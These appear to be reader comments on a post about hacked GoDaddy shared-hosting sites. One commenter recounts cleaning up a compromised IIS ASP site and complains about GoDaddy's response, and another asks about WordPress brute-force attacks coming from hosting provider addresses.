My Godaddy share hosting IIS ASP site was hacked on December 8. I happened to notice it on December 16, when I went in to update one of my pages. Called Godaddy, and their view of the situation was “YOUR SITE was hacked,” not “OUR SERVER was hacked,” and their proposed solution was to insinuate that my web monkey was likely at fault, and to try to sell me SiteLock monitoring service. I cleaned the crap out (it was exactly the sort of thing you describe here), and am checking things regularly to see if it returns (hasn’t so far).
Not that happy with Godaddy’s “we fail to keep things up to date, and then charge you for a monitoring service when, inevitably, our servers get hacked” business model.
I’ve noticed an increasing number of WordPress brute force attacks in the last two months coming from Godaddy, Rackspace, Leaseweb and other legit hosting addresses (and not from the usual zombie pc-s). Is this connected to this security issue or there is an other pwning campaign going on?
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